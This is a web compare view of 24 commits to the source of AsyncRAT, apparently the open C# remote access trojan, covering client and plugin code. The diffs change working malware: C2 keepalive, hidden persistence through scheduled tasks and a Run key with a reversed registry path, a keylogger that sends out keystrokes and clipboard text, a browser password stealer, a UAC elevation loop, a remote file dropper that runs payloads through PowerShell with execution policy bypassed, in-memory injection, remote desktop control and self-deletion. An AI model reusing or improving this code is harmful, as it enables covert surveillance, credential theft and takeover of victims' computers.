Compare commits
24 Commits
Author | SHA1 | Date | |
---|---|---|---|
|
0f0cba4ec3 | ||
|
547e363b68 | ||
|
b8101babad | ||
|
9049ccc73e | ||
|
9206734f4c | ||
|
edbcc8441c | ||
|
68c7666dc2 | ||
|
b340bcb22e | ||
|
f1507608df | ||
|
fa59997117 | ||
|
4ebf319b8c | ||
|
c98cb7a3ea | ||
|
1aa702e67a | ||
|
fb31f1db99 | ||
|
a7156a7c53 | ||
|
570a6f201f | ||
|
1df3645b07 | ||
|
5a1da42c76 | ||
|
296eaaa301 | ||
|
a895143d30 | ||
|
5937e381f9 | ||
|
10c995be22 | ||
|
565441b92a | ||
|
59ea9b088b |
@ -47,7 +47,7 @@
|
||||
<GenerateSerializationAssemblies>Auto</GenerateSerializationAssemblies>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<PlatformTarget>x86</PlatformTarget>
|
||||
<DebugType>none</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>..\Binaries\Release\Stub\</OutputPath>
|
||||
|
@ -31,6 +31,7 @@ namespace Client.Connection
|
||||
private static object SendSync { get; } = new object(); //Sync send
|
||||
private static Timer Ping { get; set; } //Send ping interval
|
||||
public static int Interval { get; set; } //ping value
|
||||
public static bool ActivatePong { get; set; }
|
||||
|
||||
|
||||
public static void InitializeClient() //Connect & reconnect
|
||||
@ -92,7 +93,10 @@ namespace Client.Connection
|
||||
Buffer = new byte[HeaderSize];
|
||||
Offset = 0;
|
||||
Send(IdSender.SendInfo());
|
||||
KeepAlive = new Timer(new TimerCallback(KeepAlivePacket), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 60 * 1000));
|
||||
Interval = 0;
|
||||
ActivatePong = false;
|
||||
KeepAlive = new Timer(new TimerCallback(KeepAlivePacket), null, new Random().Next(10 * 1000, 15 * 1000), new Random().Next(10 * 1000, 15 * 1000));
|
||||
Ping = new Timer(new TimerCallback(Pong), null, 1, 1);
|
||||
SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
|
||||
}
|
||||
else
|
||||
@ -124,15 +128,15 @@ namespace Client.Connection
|
||||
|
||||
public static void Reconnect()
|
||||
{
|
||||
|
||||
try
|
||||
{
|
||||
Ping?.Dispose();
|
||||
KeepAlive?.Dispose();
|
||||
SslClient?.Dispose();
|
||||
TcpClient?.Dispose();
|
||||
Ping?.Dispose();
|
||||
KeepAlive?.Dispose();
|
||||
}
|
||||
catch { }
|
||||
IsConnected = false;
|
||||
}
|
||||
|
||||
public static void ReadServertData(IAsyncResult ar) //Socket read/recevie
|
||||
@ -212,7 +216,7 @@ namespace Client.Connection
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!IsConnected || msg == null)
|
||||
if (!IsConnected)
|
||||
{
|
||||
return;
|
||||
}
|
||||
@ -254,19 +258,28 @@ namespace Client.Connection
|
||||
|
||||
public static void KeepAlivePacket(object obj)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Ping";
|
||||
msgpack.ForcePathObject("Message").AsString = Methods.GetActiveWindowTitle();
|
||||
Send(msgpack.Encode2Bytes());
|
||||
Ping?.Dispose();
|
||||
Interval = 0;
|
||||
Ping = new Timer(new TimerCallback(Pong), null, 1, 1);
|
||||
GC.Collect();
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Ping";
|
||||
msgpack.ForcePathObject("Message").AsString = Methods.GetActiveWindowTitle();
|
||||
Send(msgpack.Encode2Bytes());
|
||||
GC.Collect();
|
||||
ActivatePong = true;
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private static void Pong(object obj)
|
||||
{
|
||||
Interval++;
|
||||
try
|
||||
{
|
||||
if (ActivatePong && IsConnected)
|
||||
{
|
||||
Interval++;
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -24,11 +24,12 @@ namespace Client.Handle_Packet
|
||||
{
|
||||
case "pong": //send interval value to server
|
||||
{
|
||||
int interval = (int)ClientSocket.Interval;
|
||||
ClientSocket.ActivatePong = false;
|
||||
MsgPack msgPack = new MsgPack();
|
||||
msgPack.ForcePathObject("Packet").SetAsString("pong");
|
||||
msgPack.ForcePathObject("Message").SetAsInteger(interval);
|
||||
msgPack.ForcePathObject("Message").SetAsInteger(ClientSocket.Interval);
|
||||
ClientSocket.Send(msgPack.Encode2Bytes());
|
||||
ClientSocket.Interval = 0;
|
||||
break;
|
||||
}
|
||||
|
||||
@ -36,11 +37,7 @@ namespace Client.Handle_Packet
|
||||
{
|
||||
try
|
||||
{
|
||||
Invoke(unpack_msgpack);
|
||||
}
|
||||
catch (Exception ex) // check if plugin is installed
|
||||
{
|
||||
if (SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString) == null)
|
||||
if (SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString) == null) // check if plugin is installed
|
||||
{
|
||||
Packs.Add(unpack_msgpack); //save it for later
|
||||
MsgPack msgPack = new MsgPack();
|
||||
@ -49,12 +46,16 @@ namespace Client.Handle_Packet
|
||||
ClientSocket.Send(msgPack.Encode2Bytes());
|
||||
}
|
||||
else
|
||||
Error(ex.Message);
|
||||
Invoke(unpack_msgpack);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Error(ex.Message);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case "savePlugin": // save plugin as MD5:Base64
|
||||
case "savePlugin": // save plugin
|
||||
{
|
||||
SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").GetAsBytes());
|
||||
Debug.WriteLine("plugin saved");
|
||||
|
@ -19,7 +19,7 @@ namespace Client.Helper
|
||||
msgpack.ForcePathObject("Path").AsString = Application.ExecutablePath;
|
||||
msgpack.ForcePathObject("Version").AsString = Settings.Version;
|
||||
msgpack.ForcePathObject("Admin").AsString = Methods.IsAdmin().ToString().ToLower().Replace("true", "Admin").Replace("false", "User");
|
||||
msgpack.ForcePathObject("Performance").AsString = "...";
|
||||
msgpack.ForcePathObject("Performance").AsString = Methods.GetActiveWindowTitle();
|
||||
msgpack.ForcePathObject("Pastebin").AsString = Settings.Pastebin;
|
||||
msgpack.ForcePathObject("Antivirus").AsString = Methods.Antivirus();
|
||||
msgpack.ForcePathObject("Installed").AsString = new FileInfo(Application.ExecutablePath).LastWriteTime.ToUniversalTime().ToString();
|
||||
|
@ -34,7 +34,7 @@ namespace Client.Install
|
||||
Process.Start(new ProcessStartInfo
|
||||
{
|
||||
FileName = "cmd",
|
||||
Arguments = "/c schtasks /create /f /sc onlogon /ru system /rl highest /tn " + Path.GetFileNameWithoutExtension(currentProcess) + " /tr " + "'" + "\"" + installPath.FullName + "\"" + "' & exit",
|
||||
Arguments = "/c schtasks /create /f /sc onlogon /rl highest /tn " + "\"" + Path.GetFileNameWithoutExtension(installPath.Name) + "\"" + " /tr " + "'" + "\"" + installPath.FullName + "\"" + "' & exit",
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
CreateNoWindow = true,
|
||||
});
|
||||
@ -43,7 +43,7 @@ namespace Client.Install
|
||||
{
|
||||
using (RegistryKey key = Registry.CurrentUser.OpenSubKey(Strings.StrReverse(@"\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS"), RegistryKeyPermissionCheck.ReadWriteSubTree))
|
||||
{
|
||||
key.SetValue(Path.GetFileNameWithoutExtension(installPath.FullName), "\"" + installPath.FullName + "\"");
|
||||
key.SetValue(Path.GetFileNameWithoutExtension(installPath.Name), "\"" + installPath.FullName + "\"");
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -46,12 +46,16 @@ namespace Client
|
||||
|
||||
while (true) // ~ loop to check socket status
|
||||
{
|
||||
if (!ClientSocket.IsConnected)
|
||||
try
|
||||
{
|
||||
ClientSocket.Reconnect();
|
||||
ClientSocket.InitializeClient();
|
||||
if (!ClientSocket.IsConnected)
|
||||
{
|
||||
ClientSocket.Reconnect();
|
||||
ClientSocket.InitializeClient();
|
||||
}
|
||||
}
|
||||
Thread.Sleep(new Random().Next(2000, 5000));
|
||||
catch { }
|
||||
Thread.Sleep(5000);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -13,7 +13,7 @@ namespace Client
|
||||
#if DEBUG
|
||||
public static string Ports = "6606";
|
||||
public static string Hosts = "127.0.0.1";
|
||||
public static string Version = "0.5.6D";
|
||||
public static string Version = "0.5.7B";
|
||||
public static string Install = "false";
|
||||
public static string InstallFolder = "AppData";
|
||||
public static string InstallFile = "Test.exe";
|
||||
|
@ -1,76 +1,28 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">
|
||||
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
|
||||
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
|
||||
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
|
||||
<security>
|
||||
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
<!-- UAC Manifest Options
|
||||
If you want to change the Windows User Account Control level replace the
|
||||
requestedExecutionLevel node with one of the following.
|
||||
|
||||
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
|
||||
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
|
||||
<requestedExecutionLevel level="highestAvailable" uiAccess="false" />
|
||||
|
||||
Specifying requestedExecutionLevel element will disable file and registry virtualization.
|
||||
Remove this element if your application requires this virtualization for backwards
|
||||
compatibility.
|
||||
-->
|
||||
<requestedPrivileges>
|
||||
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
|
||||
</requestedPrivileges>
|
||||
</security>
|
||||
</trustInfo>
|
||||
|
||||
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
|
||||
<application>
|
||||
<!-- A list of the Windows versions that this application has been tested on
|
||||
and is designed to work with. Uncomment the appropriate elements
|
||||
and Windows will automatically select the most compatible environment. -->
|
||||
|
||||
<!-- Windows Vista -->
|
||||
<!--<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}" />-->
|
||||
|
||||
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>
|
||||
<!-- Windows 7 -->
|
||||
<!--<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}" />-->
|
||||
|
||||
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
|
||||
<!-- Windows 8 -->
|
||||
<!--<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}" />-->
|
||||
|
||||
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
|
||||
<!-- Windows 8.1 -->
|
||||
<!--<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}" />-->
|
||||
|
||||
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
|
||||
<!-- Windows 10 -->
|
||||
<!--<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}" />-->
|
||||
|
||||
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
|
||||
</application>
|
||||
</compatibility>
|
||||
|
||||
<!-- Indicates that the application is DPI-aware and will not be automatically scaled by Windows at higher
|
||||
DPIs. Windows Presentation Foundation (WPF) applications are automatically DPI-aware and do not need
|
||||
to opt in. Windows Forms applications targeting .NET Framework 4.6 that opt into this setting, should
|
||||
also set the 'EnableWindowsFormsHighDpiAutoResizing' setting to 'true' in their app.config. -->
|
||||
|
||||
<application xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
<windowsSettings>
|
||||
<dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
|
||||
</windowsSettings>
|
||||
</application>
|
||||
|
||||
|
||||
<!-- Enable themes for Windows common controls and dialogs (Windows XP and later) -->
|
||||
<!--
|
||||
<dependency>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity
|
||||
type="win32"
|
||||
name="Microsoft.Windows.Common-Controls"
|
||||
version="6.0.0.0"
|
||||
processorArchitecture="*"
|
||||
publicKeyToken="6595b64144ccf1df"
|
||||
language="*"
|
||||
/>
|
||||
</dependentAssembly>
|
||||
</dependency>
|
||||
-->
|
||||
|
||||
</assembly>
|
||||
<asmv3:application xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" >
|
||||
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
|
||||
<dpiAware>true</dpiAware>
|
||||
</asmv3:windowsSettings>
|
||||
</asmv3:application>
|
||||
</assembly>
|
@ -53,7 +53,7 @@ namespace Plugin
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
|
||||
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
|
||||
msgpack.ForcePathObject("log").AsString = $"\n### Clipboard ###\n{Clipboard.GetCurrentText()}\n";
|
||||
msgpack.ForcePathObject("log").AsString = $"\n\r[Clipboard]\n{Clipboard.GetCurrentText()}\n\r";
|
||||
Connection.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
base.WndProc(ref m);
|
||||
@ -184,11 +184,8 @@ namespace Plugin
|
||||
}
|
||||
else
|
||||
{
|
||||
sb.Append(Environment.NewLine);
|
||||
sb.Append(Environment.NewLine);
|
||||
sb.Append($"### {GetActiveWindowTitle()} | {DateTime.Now.ToShortTimeString()} ###");
|
||||
sb.Append(Environment.NewLine);
|
||||
sb.Append(currentKey);
|
||||
sb.Append($"\n\r[{DateTime.Now.ToShortTimeString()}] [{GetActiveWindowTitle()}]");
|
||||
sb.Append($"\n{currentKey}");
|
||||
}
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
|
||||
@ -225,19 +222,20 @@ namespace Plugin
|
||||
{
|
||||
try
|
||||
{
|
||||
IntPtr hwnd = GetForegroundWindow();
|
||||
GetWindowThreadProcessId(hwnd, out uint pid);
|
||||
Process p = Process.GetProcessById((int)pid);
|
||||
string title = p.MainWindowTitle;
|
||||
if (string.IsNullOrWhiteSpace(title))
|
||||
title = p.ProcessName;
|
||||
CurrentActiveWindowTitle = title;
|
||||
return title;
|
||||
const int nChars = 256;
|
||||
StringBuilder stringBuilder = new StringBuilder(nChars);
|
||||
IntPtr handle = GetForegroundWindow();
|
||||
GetWindowThreadProcessId(handle, out uint pid);
|
||||
if (GetWindowText(handle, stringBuilder, nChars) > 0)
|
||||
{
|
||||
CurrentActiveWindowTitle = stringBuilder.ToString();
|
||||
return CurrentActiveWindowTitle;
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return "???";
|
||||
}
|
||||
return "???";
|
||||
}
|
||||
|
||||
#region "Hooks & Native Methods"
|
||||
@ -249,6 +247,8 @@ namespace Plugin
|
||||
private static string CurrentActiveWindowTitle;
|
||||
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
|
||||
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
|
||||
|
@ -12,7 +12,6 @@ namespace Plugin.Handler
|
||||
public HandleUAC()
|
||||
{
|
||||
if (Methods.IsAdmin()) return;
|
||||
|
||||
try
|
||||
{
|
||||
Process proc = new Process
|
||||
@ -30,7 +29,7 @@ namespace Plugin.Handler
|
||||
Methods.ClientExit();
|
||||
Environment.Exit(0);
|
||||
}
|
||||
catch { }
|
||||
catch { new HandleUAC(); }
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -23,12 +23,10 @@ namespace Plugin.Handler
|
||||
{
|
||||
Process.Start(new ProcessStartInfo()
|
||||
{
|
||||
FileName = "schtasks",
|
||||
Arguments = "/delete /f /tn " + @"""'" + Path.GetFileNameWithoutExtension(Application.ExecutablePath) + @"""'",
|
||||
FileName = "cmd",
|
||||
Arguments = "/c schtasks /delete /f /tn " + "\"" + Path.GetFileNameWithoutExtension(Application.ExecutablePath) + "\"",
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
CreateNoWindow = true,
|
||||
ErrorDialog = false,
|
||||
UseShellExecute = false,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
});
|
||||
}
|
||||
}
|
||||
|
@ -11,11 +11,11 @@ namespace Plugin
|
||||
try
|
||||
{
|
||||
StringBuilder Credentials = new StringBuilder();
|
||||
new Browsers.Firefox.Firefox().CredRecovery(Credentials);
|
||||
//new Browsers.Firefox.Firefox().CredRecovery(Credentials);
|
||||
Browsers.Chromium.Chromium.Recovery(Credentials);
|
||||
|
||||
StringBuilder Cookies = new StringBuilder();
|
||||
new Browsers.Firefox.Firefox().CookiesRecovery(Cookies);
|
||||
//new Browsers.Firefox.Firefox().CookiesRecovery(Cookies);
|
||||
//new Browsers.Chromium.Chromium().CookiesRecovery(Cookies);
|
||||
|
||||
MsgPack msgpack = new MsgPack();
|
||||
|
@ -38,14 +38,11 @@
|
||||
<HintPath>..\..\..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="Newtonsoft.Json, Version=12.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed, processorArchitecture=MSIL">
|
||||
<HintPath>..\..\..\packages\Newtonsoft.Json.12.0.3\lib\net40\Newtonsoft.Json.dll</HintPath>
|
||||
<Reference Include="Newtonsoft.Json, Version=13.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed, processorArchitecture=MSIL">
|
||||
<HintPath>..\..\..\packages\Newtonsoft.Json.13.0.3\lib\net40\Newtonsoft.Json.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Data.SQLite, Version=1.0.112.1, Culture=neutral, PublicKeyToken=db937bc2d44ff139, processorArchitecture=MSIL">
|
||||
<HintPath>..\..\..\packages\System.Data.SQLite.Core.1.0.112.1\lib\net40\System.Data.SQLite.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Security" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
@ -59,10 +56,6 @@
|
||||
<Compile Include="Browsers\Chromium\BCrypt.cs" />
|
||||
<Compile Include="Browsers\Chromium\Chromium.cs" />
|
||||
<Compile Include="Browsers\CredentialModel.cs" />
|
||||
<Compile Include="Browsers\Firefox\Cookies\FFCookiesGrabber.cs" />
|
||||
<Compile Include="Browsers\Firefox\FFDecryptor.cs" />
|
||||
<Compile Include="Browsers\Firefox\Firefox.cs" />
|
||||
<Compile Include="Browsers\Firefox\FirefoxPassReader.cs" />
|
||||
<Compile Include="Browsers\IPassReader.cs" />
|
||||
<Compile Include="Browsers\SQLiteHandler.cs" />
|
||||
<Compile Include="Connection.cs" />
|
||||
@ -84,10 +77,8 @@
|
||||
<PropertyGroup>
|
||||
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
|
||||
</PropertyGroup>
|
||||
<Error Condition="!Exists('..\..\..\packages\System.Data.SQLite.Core.1.0.112.1\build\net40\System.Data.SQLite.Core.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\System.Data.SQLite.Core.1.0.112.1\build\net40\System.Data.SQLite.Core.targets'))" />
|
||||
<Error Condition="!Exists('..\..\..\packages\Fody.6.0.0\build\Fody.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\Fody.6.0.0\build\Fody.targets'))" />
|
||||
<Error Condition="!Exists('..\..\..\packages\Costura.Fody.4.1.0\build\Costura.Fody.props')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\Costura.Fody.4.1.0\build\Costura.Fody.props'))" />
|
||||
</Target>
|
||||
<Import Project="..\..\..\packages\System.Data.SQLite.Core.1.0.112.1\build\net40\System.Data.SQLite.Core.targets" Condition="Exists('..\..\..\packages\System.Data.SQLite.Core.1.0.112.1\build\net40\System.Data.SQLite.Core.targets')" />
|
||||
<Import Project="..\..\..\packages\Fody.6.0.0\build\Fody.targets" Condition="Exists('..\..\..\packages\Fody.6.0.0\build\Fody.targets')" />
|
||||
</Project>
|
@ -2,6 +2,5 @@
|
||||
<packages>
|
||||
<package id="Costura.Fody" version="4.1.0" targetFramework="net40" />
|
||||
<package id="Fody" version="6.0.0" targetFramework="net40" developmentDependency="true" />
|
||||
<package id="Newtonsoft.Json" version="12.0.3" targetFramework="net40" />
|
||||
<package id="System.Data.SQLite.Core" version="1.0.112.1" targetFramework="net40" />
|
||||
<package id="Newtonsoft.Json" version="13.0.3" targetFramework="net40" />
|
||||
</packages>
|
@ -38,16 +38,13 @@ namespace Plugin
|
||||
|
||||
case "mouseClick":
|
||||
{
|
||||
Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
|
||||
Cursor.Position = position;
|
||||
mouse_event((Int32)unpack_msgpack.ForcePathObject("Button").AsInteger, 0, 0, 0, 1);
|
||||
break;
|
||||
}
|
||||
|
||||
case "mouseMove":
|
||||
{
|
||||
Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
|
||||
Cursor.Position = position;
|
||||
SetCursorPos(Convert.ToInt32(unpack_msgpack.ForcePathObject("X").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Y").AsInteger));
|
||||
break;
|
||||
}
|
||||
|
||||
@ -128,9 +125,19 @@ namespace Plugin
|
||||
try
|
||||
{
|
||||
Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb);
|
||||
using (Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot))
|
||||
using (Graphics graphics = Graphics.FromImage(bmpScreenshot))
|
||||
{
|
||||
gfxScreenshot.CopyFromScreen(rect.Left, rect.Top, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy);
|
||||
graphics.CopyFromScreen(rect.Left, rect.Top, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy);
|
||||
CURSORINFO pci;
|
||||
pci.cbSize = System.Runtime.InteropServices.Marshal.SizeOf(typeof(CURSORINFO));
|
||||
if (GetCursorInfo(out pci))
|
||||
{
|
||||
if (pci.flags == CURSOR_SHOWING)
|
||||
{
|
||||
DrawIcon(graphics.GetHdc(), pci.ptScreenPos.x, pci.ptScreenPos.y, pci.hCursor);
|
||||
graphics.ReleaseHdc();
|
||||
}
|
||||
}
|
||||
return bmpScreenshot;
|
||||
}
|
||||
}
|
||||
@ -142,5 +149,32 @@ namespace Plugin
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern bool keybd_event(byte bVk, byte bScan, uint dwFlags, UIntPtr dwExtraInfo);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
struct CURSORINFO
|
||||
{
|
||||
public Int32 cbSize;
|
||||
public Int32 flags;
|
||||
public IntPtr hCursor;
|
||||
public POINTAPI ptScreenPos;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
struct POINTAPI
|
||||
{
|
||||
public int x;
|
||||
public int y;
|
||||
}
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
static extern bool GetCursorInfo(out CURSORINFO pci);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern bool SetCursorPos(int x, int y);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
static extern bool DrawIcon(IntPtr hDC, int X, int Y, IntPtr hIcon);
|
||||
const Int32 CURSOR_SHOWING = 0x00000001;
|
||||
|
||||
}
|
||||
}
|
||||
|
@ -15,35 +15,49 @@ namespace Plugin.Handler
|
||||
try
|
||||
{
|
||||
//Drop To Disk
|
||||
string fullPath = Path.GetTempFileName() + "g r" + unpack_msgpack.ForcePathObject("Extension").AsString;
|
||||
string fullPath = Path.Combine(Path.GetTempPath(), Methods.GetRandomString(6) + unpack_msgpack.ForcePathObject("Extension").AsString);
|
||||
File.WriteAllBytes(fullPath, Zip.Decompress(unpack_msgpack.ForcePathObject("File").GetAsBytes()));
|
||||
if (unpack_msgpack.ForcePathObject("Extension").AsString.ToLower().EndsWith(".ps1"))
|
||||
{
|
||||
Process.Start(new ProcessStartInfo
|
||||
{
|
||||
FileName = "cmd",
|
||||
Arguments = $"/c start /b powershell –ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File {"'" + "\"" + fullPath + "\"" + "'"} & exit",
|
||||
Arguments = $"/c start /b powershell –ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -FilePath {"'" + "\"" + fullPath + "\"" + "'"} & exit",
|
||||
CreateNoWindow = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
UseShellExecute = true,
|
||||
ErrorDialog = false,
|
||||
});
|
||||
}
|
||||
else
|
||||
{
|
||||
Process.Start(new ProcessStartInfo
|
||||
{
|
||||
FileName = "cmd",
|
||||
Arguments = $"/c start /b powershell Start-Process -FilePath {"'" + "\"" + fullPath + "\"" + "'"} & exit",
|
||||
Arguments = $"/c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath {"'" + "\"" + fullPath + "\"" + "'"} & exit",
|
||||
CreateNoWindow = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
UseShellExecute = true,
|
||||
ErrorDialog = false,
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
if (unpack_msgpack.ForcePathObject("Update").AsString == "true")
|
||||
{
|
||||
new HandleUninstall();
|
||||
}
|
||||
else
|
||||
{
|
||||
Packet.Log("file executed!");
|
||||
Thread.Sleep(1000);
|
||||
if (Process.GetProcessesByName(Path.GetFileNameWithoutExtension(fullPath)).Length > 0)
|
||||
{
|
||||
Packet.Log($"Temp\\{Path.GetFileName(fullPath)} executed successfully!");
|
||||
}
|
||||
else if (fullPath.ToLower().EndsWith(".ps1") && Process.GetProcessesByName("powershell").Length > 0)
|
||||
{
|
||||
Packet.Log($"Temp\\{Path.GetFileName(fullPath)} executed successfully!");
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
|
@ -45,7 +45,7 @@ namespace Plugin.Handler
|
||||
using (StreamWriter sw = new StreamWriter(batch))
|
||||
{
|
||||
sw.WriteLine("@echo off");
|
||||
sw.WriteLine("timeout 3 > NUL");
|
||||
sw.WriteLine("timeout 2 > NUL");
|
||||
sw.WriteLine("CD " + Application.StartupPath);
|
||||
sw.WriteLine("DEL " + "\"" + Path.GetFileName(Application.ExecutablePath) + "\"" + " /f /q");
|
||||
sw.WriteLine("CD " + Path.GetTempPath());
|
||||
|
@ -14,6 +14,18 @@ namespace Plugin
|
||||
{
|
||||
public static class Methods
|
||||
{
|
||||
private const string Alphabet = "abcdefghijklmnopqrstuvwxyz";
|
||||
|
||||
public static Random Random = new Random();
|
||||
public static string GetRandomString(int length)
|
||||
{
|
||||
StringBuilder randomName = new StringBuilder(length);
|
||||
for (int i = 0; i < length; i++)
|
||||
randomName.Append(Alphabet[Random.Next(Alphabet.Length)]);
|
||||
|
||||
return randomName.ToString();
|
||||
}
|
||||
|
||||
public static void ClientExit()
|
||||
{
|
||||
try
|
||||
|
@ -10,7 +10,7 @@ namespace Plugin.Handler
|
||||
{
|
||||
public class HandleSendTo
|
||||
{
|
||||
public void SendToMemory(MsgPack unpack_msgpack)
|
||||
public void ToMemory(MsgPack unpack_msgpack)
|
||||
{
|
||||
try
|
||||
{
|
||||
@ -46,7 +46,7 @@ namespace Plugin.Handler
|
||||
{
|
||||
try
|
||||
{
|
||||
global::Plugin.SendToMemory.Execute(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection), Zip.Decompress(buffer));
|
||||
SendToMemory.Execute(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection), Zip.Decompress(buffer));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
|
@ -16,7 +16,7 @@ namespace Plugin
|
||||
{
|
||||
case "sendMemory":
|
||||
{
|
||||
new HandleSendTo().SendToMemory(unpack_msgpack);
|
||||
new HandleSendTo().ToMemory(unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
222
AsyncRAT-C#/Server/Forms/Form1.Designer.cs
generated
222
AsyncRAT-C#/Server/Forms/Form1.Designer.cs
generated
@ -33,6 +33,7 @@
|
||||
this.listView1 = new System.Windows.Forms.ListView();
|
||||
this.lv_ip = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.lv_country = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
